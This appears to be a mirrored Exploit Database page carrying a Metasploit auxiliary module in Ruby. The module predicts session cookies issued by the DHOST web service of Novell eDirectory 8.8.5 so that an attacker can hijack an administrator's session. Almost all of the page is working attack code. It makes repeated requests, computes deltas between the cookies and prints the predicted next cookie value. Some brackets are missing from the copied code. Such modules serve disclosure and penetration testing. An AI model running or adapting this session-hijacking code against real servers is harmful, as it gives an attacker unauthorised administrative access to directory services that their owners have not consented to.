Novell eDirectory 8.8.5 – DHost Weak Session Cookie Session Hijacking (Metasploit)

Exploit Database
167 阅读

作者： Metasploit

日期： 2010-03-14
类别：
- remote
平台：
- novell
来源：https://www.exploit-db.com/exploits/33767/

source: https://www.securityfocus.com/bid/38782/info

Novell eDirectory is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain access to the affected application.

Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected.

# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Novell eDirectory DHOST Predictable Session Cookie',

'Description'=> %q{

This module is able to predict the next session cookie value issued

by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run

this module, wait until the real administrator logs in, then specify the

predicted cookie value to hijack their session.

'References' =>

[

['OSVDB', '60035'],

'Author' => 'hdm',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 7519 $'

))

register_options([

Opt::RPORT(8030),

OptBool.new('SSL', [true, 'Use SSL', true])

], self.class)

end

def run

vals = []

name = ""

print_status("Making 5 requests to verify predictions...")

1.upto(6) do

connect

req ="GET /dhost/ HTTP/1.1\r\n"

req << "Host: #{rhost}:#{rport}\r\n"

req << "Connection: close\r\n\r\n"

sock.put(req)

res = sock.get_once(-1,5)

disconnect

cookie = nil

if(res =~ /Cookie:\s*([^\s]+)\s*/mi)

cookie = $1

cookie,junk = cookie.split(';')

name,cookie = cookie.split('=')

cookie= cookie.to_i(16)

vals << cookie

end

deltas = []

prev_val = nil

vals.each_index do |i|

if(i > 0)

delta = vals[i] - prev_val

print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")

deltas << delta

end

prev_val = vals[i]

end

deltas.uniq!

if(deltas.length < 4)

print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")

else

print_status("The cookie value is less predictable, maybe this has been patched?")

print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")

end